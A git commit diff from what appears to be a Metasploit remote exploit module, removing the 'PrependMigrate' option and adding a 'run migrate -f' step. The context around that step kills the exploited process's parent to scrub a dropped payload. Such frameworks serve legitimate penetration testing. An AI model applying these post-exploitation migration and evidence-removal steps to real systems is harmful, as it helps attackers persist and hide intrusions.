removed PrependMigrate, introduced migrate -f

bug/bundler_fix
root 2013-10-22 16:11:19 -04:00
parent 2e0a14d719
commit 85479f5994
1 changed files with 1 additions and 1 deletions

View File

@ -39,7 +39,6 @@ class Metasploit3 < Msf::Exploit::Remote
],
'DefaultOptions' =>
{
'PrependMigrate' => true,
'EXITFUNC' => 'process',
},
'Targets' =>
@ -208,6 +207,7 @@ Processor-Speed=2659
#can't scrub dropped payload while the process is still active so...
#iterate through process list, find our process and the associated parent process ID, Kill the parent
client.core.use("stdapi")
client.console.run_single("run migrate -f")
client.sys.process.get_processes().each do |proc|
if proc['pid'] == client.sys.process.open.pid
client.sys.process.kill(proc['ppid'])